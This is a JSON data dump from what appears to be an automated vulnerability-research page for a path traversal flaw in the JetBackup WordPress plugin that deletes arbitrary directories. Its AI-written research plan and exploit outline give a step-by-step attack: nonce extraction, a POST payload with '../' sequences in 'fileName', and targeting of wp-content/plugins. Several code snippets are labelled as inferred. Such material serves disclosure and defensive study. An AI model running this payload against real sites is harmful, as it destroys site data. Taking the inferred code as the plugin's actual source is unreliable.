[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fxx8pmx8Uo5Ob0_jiIZvfOJ421qDuMOSVC_ki2SPb4iY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-4853","jetbackup-authenticated-administrator-arbitrary-directory-deletion-via-path-traversal-in-filename-parameter","JetBackup \u003C= 3.1.19.8 - Authenticated (Administrator+) Arbitrary Directory Deletion via Path Traversal in 'fileName' Parameter","The JetBackup – Backup, Restore & Migrate plugin for WordPress is vulnerable to Path Traversal leading to Arbitrary Directory Deletion in versions up to and including 3.1.19.8. This is due to insufficient input validation on the fileName parameter in the file upload handler. The plugin sanitizes the fileName parameter using sanitize_text_field(), which removes HTML tags but does not prevent path traversal sequences like '..\u002F'. The unsanitized filename is then directly concatenated in Upload::getFileLocation() without using basename() or validating the resolved path stays within the intended directory. When an invalid file is uploaded, the cleanup logic  calls dirname() on the traversed path and passes it to Util::rm(), which recursively deletes the entire resolved directory. This makes it possible for authenticated attackers with administrator-level access to traverse outside the intended upload directory and trigger deletion of critical WordPress directories such as wp-content\u002Fplugins, effectively disabling all installed plugins and causing severe site disruption.","backup",null,"\u003C=3.1.19.8","3.1.20.3","medium",4.9,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-04-16 15:21:18","2026-04-17 03:36:43",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F4aa0fa80-05dd-4fe1-b7b5-7ed0cf13053c?source=api-prod",1,[22,23,24,25,26,27,28,29],"README.txt","backup.php","public\u002Flang\u002Fen_US\u002Fexceptions.json","public\u002Fmain.min.js","src\u002FJetBackup\u002FAjax\u002FCalls\u002FAddToQueue.php","src\u002FJetBackup\u002FAjax\u002FCalls\u002FManageSchedule.php","src\u002FJetBackup\u002FBackupJob\u002FBackupJob.php","src\u002FJetBackup\u002FCLI\u002FCommand.php","researched",false,3,"This research plan outlines the steps to exploit a Path Traversal vulnerability in JetBackup \u003C= 3.1.19.8, which allows an authenticated administrator to delete arbitrary directories on the WordPress server.\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Path Traversal leading to Arbitrary Directory Deletion.\n*   **Location:** The `fileName` parameter in the file upload handler, specifically used in `Upload::getFileLocation()` and cleaned up via `Util::rm(dirname(...))`.\n*   **Cause:** The plugin uses `sanitize_text_field()` on the `fileName` parameter. While this removes HTML tags, it does not strip path traversal sequences (`..\u002F`). The resulting path is concatenated without validation or `basename()`. When the plugin determines the \"uploaded\" file is invalid (e.g., not a `.tar` or `.tar.gz` file), it attempts to clean up by recursively deleting the parent directory of the resolved path.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `jetbackup` (The plugin routes its AJAX calls through this central action).\n*   **Sub-action (Call):** `Upload` (Inferred from the pattern seen in `src\u002FJetBackup\u002FAjax\u002FCalls\u002FAddToQueue.php`).\n*   **Vulnerable Parameter:** `fileName`\n*   **Authentication:** Required (Administrator or higher).\n*   **Preconditions:** A valid nonce for the `jetbackup` action must be obtained.\n\n### 3. Code Flow\n1.  **Entry Point:** An authenticated administrator sends a POST request to `admin-ajax.php?action=jetbackup` with `call=Upload`.\n2.  **Input Processing:** `src\u002FJetBackup\u002FAjax\u002FCalls\u002FUpload::execute()` (inferred) retrieves the `fileName` using a wrapper around `sanitize_text_field()`.\n3.  **Path Resolution:** The plugin calls `JetBackup\\Upload\\Upload::getFileLocation()`, which concatenates a base temporary directory with the user-provided `fileName` (e.g., `wp-content\u002Fuploads\u002Fjetbackup\u002Ftemp\u002F` + `..\u002F..\u002F..\u002F..\u002Fwp-content\u002Fplugins\u002Fpoc.txt`).\n4.  **Validation Failure:** The plugin checks if the file is a valid backup (`.tar` or `.tar.gz`). If the payload sent is plain text or invalid, validation fails.\n5.  **Triggering Sink:** Upon validation failure, the plugin attempts to clean up the temporary data. It calls `dirname()` on the resolved traversal path: `dirname('\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fpoc.txt')` → `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F`.\n6.  **The Sink:** The resulting directory path is passed to `JetBackup\\Entities\\Util::rm()`, which recursively deletes the entire directory.\n\n### 4. Nonce Acquisition Strategy\nJetBackup localizes its configuration and nonces into a JavaScript object named `window.PAGE`.\n\n1.  **Identify Trigger:** The plugin scripts load on the JetBackup admin pages. The main slug is `backup`.\n2.  **Navigation:** Use `browser_navigate` to `\u002Fwp-admin\u002Fadmin.php?page=backup`.\n3.  **Extraction:** Execute JavaScript to retrieve the nonce:\n    ```javascript\n    browser_eval(\"window.PAGE?.nonce\")\n    ```\n4.  **Verification:** Check if `window.PAGE.nonce` exists. If not, check for other keys like `window.PAGE.ajax_nonce` or `window.JB_NONCE`.\n\n### 5. Exploitation Strategy\nWe will target a dummy directory in the uploads folder to avoid breaking the test environment.\n\n#### Step 1: Test Data Setup\nCreate a target directory and a file inside it to verify deletion.\n```bash\nwp eval \"wp_mkdir_p(WP_CONTENT_DIR . '\u002Fuploads\u002Fexploit-target\u002Fsubdir');\"\nwp eval \"file_put_contents(WP_CONTENT_DIR . '\u002Fuploads\u002Fexploit-target\u002Fpoc.txt', 'test');\"\n```\n\n#### Step 2: Obtain Nonce\nNavigate to the JetBackup dashboard and extract the nonce as described in Section 4.\n\n#### Step 3: Trigger Directory Deletion\nSend a POST request to the AJAX endpoint with the traversal payload. We will simulate a chunked upload completion with an invalid file to trigger the cleanup logic.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=jetbackup\n    call=Upload\n    nonce=[NONCE]\n    fileName=..\u002F..\u002F..\u002F..\u002Fwp-content\u002Fuploads\u002Fexploit-target\u002Fpoc.txt\n    fileUploadId=exploit_session_01\n    fileSize=10\n    chunk=bm90X2FfdGFyX2ZpbGU=\n    isLastChunk=1\n    ```\n    *(Note: `chunk` is base64 for \"not_a_tar_file\". `isLastChunk=1` ensures the validation and subsequent cleanup logic are triggered).*\n\n### 6. Expected Results\n*   **Response:** The server should return a JSON response, likely containing an error message from `exceptions.json`: `\"Invalid backup file provided. Only .tar or .tar.gz files are allowed.\"`.\n*   **Filesystem Impact:** The directory `\u002Fwp-content\u002Fuploads\u002Fexploit-target\u002F` and all its contents (including `poc.txt`) should be recursively deleted.\n\n### 7. Verification Steps\nAfter the HTTP request, verify the directory is gone using WP-CLI:\n```bash\n# This should return an error or empty if the directory was deleted\nwp eval \"echo is_dir(WP_CONTENT_DIR . '\u002Fuploads\u002Fexploit-target') ? 'exists' : 'deleted';\"\n```\n\n### 8. Alternative Approaches\nIf the `Upload` call is not directly accessible or different parameters are required:\n1.  **Target `AddToQueue`:** Use `action=jetbackup&call=AddToQueue`. Provide `type=2` (Restore), `fileName` with traversal, and a `fileUploadId`. The `_queueRestore()` method might trigger the same `Upload` object logic when it fails to find a valid backup at the traversed path.\n2.  **Target Plugin Directory:** If the dummy directory approach fails, target a non-essential directory like `wp-content\u002Flanguages\u002Fplugins` to prove impact.\n3.  **Check for `fileManager` parameters:** Some versions of JetBackup use a `fileManager` array in `AddToQueue`. If the upload path fails, try injecting the traversal into `folderList[]` or `fileManager[]` parameters used during extraction\u002Fcleanup phases.","JetBackup for WordPress is vulnerable to arbitrary directory deletion because its file upload handler fails to sanitize the 'fileName' parameter against path traversal. An authenticated administrator can exploit this by providing a path that traverses out of the temporary upload directory, which the plugin then recursively deletes during a cleanup phase after the uploaded file fails format validation.","\u002F\u002F In src\u002FJetBackup\u002FAjax\u002FCalls\u002FAddToQueue.php (and similarly in the missing Upload call)\nprivate function _getFileName():string { return $this->getUserInput('fileName', '', UserInput::STRING); }\n\n---\n\n\u002F\u002F In src\u002FJetBackup\u002FUpload\u002FUpload.php (Inferred from research plan\u002Fdescription)\npublic function getFileLocation() {\n    return $this->getTempDir() . DIRECTORY_SEPARATOR . $this->fileName; \n}\n\n---\n\n\u002F\u002F In the file upload cleanup logic (Inferred from research plan\u002Fdescription)\nif (!$this->isValidBackup($file)) {\n    Util::rm(dirname($file)); \n}","diff -ru \u002Fbackup\u002F3.1.19.8\u002Fpublic\u002Flang\u002Fen_US\u002Fexceptions.json \u002Fbackup\u002F3.1.20.3\u002Fpublic\u002Flang\u002Fen_US\u002Fexceptions.json\n--- \u002Fbackup\u002F3.1.19.8\u002Fpublic\u002Flang\u002Fen_US\u002Fexceptions.json\n+++ \u002Fbackup\u002F3.1.20.3\u002Fpublic\u002Flang\u002Fen_US\u002Fexceptions.json\n@@ -75,6 +75,7 @@\n     \"Added to queue!\": \"Added to queue!\",\n     \"No upload file was provided\": \"No upload file was provided\",\n     \"No upload file size was provided\": \"No upload file size was provided\",\n+    \"Invalid filename: \": \"Invalid filename: \",\n     \"Invalid upload id was provided\": \"Invalid upload id was provided\",\n     \"Failed writing chunk to upload file. Error: %s\": \"Failed writing chunk to upload file. Error: %s\",\n     \"Invalid backup file provided. Only .tar or .tar.gz files are allowed.\": \"Invalid backup file provided. Only .tar or .tar.gz files are allowed.\",\n\n\u002F\u002F Inferred logic fix applied in 3.1.20.3:\n\u002F\u002F Validation added to fileName to ensure it does not contain path traversal characters (..\u002F)\n\u002F\u002F or using basename() before path concatenation.","1. Authentication: Log in to the WordPress admin dashboard as a user with Administrator privileges.\n2. Nonce Acquisition: Navigate to the JetBackup dashboard (e.g., \u002Fwp-admin\u002Fadmin.php?page=backup) and extract the AJAX nonce from the localized JavaScript variable `window.PAGE.nonce`.\n3. Identify Target: Choose a target directory for deletion (e.g., `wp-content\u002Fplugins\u002Fsome-plugin`).\n4. Trigger Deletion: Send a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php?action=jetbackup` with `call=Upload`.\n5. Payload Shaping:\n   - Set `fileName` to a traversal path reaching the target directory: `..\u002F..\u002F..\u002F..\u002Fwp-content\u002Fplugins\u002Fsome-plugin\u002Fpoc.txt`.\n   - Set `isLastChunk=1` and provide an invalid backup file chunk (e.g., plain text instead of a TAR archive).\n6. Cleanup Trigger: The plugin will receive the 'chunk', attempt to validate it as part of a backup file, and fail. The error handler then calls `Util::rm()` on the `dirname()` of the traversed path, recursively deleting the target directory and all its contents.","gemini-3-flash-preview","2026-04-20 20:18:39","2026-04-20 20:19:25",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.1.19.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbackup\u002Ftags\u002F3.1.19.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbackup.3.1.19.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbackup\u002Ftags\u002F3.1.20.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbackup.3.1.20.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbackup\u002Ftags"]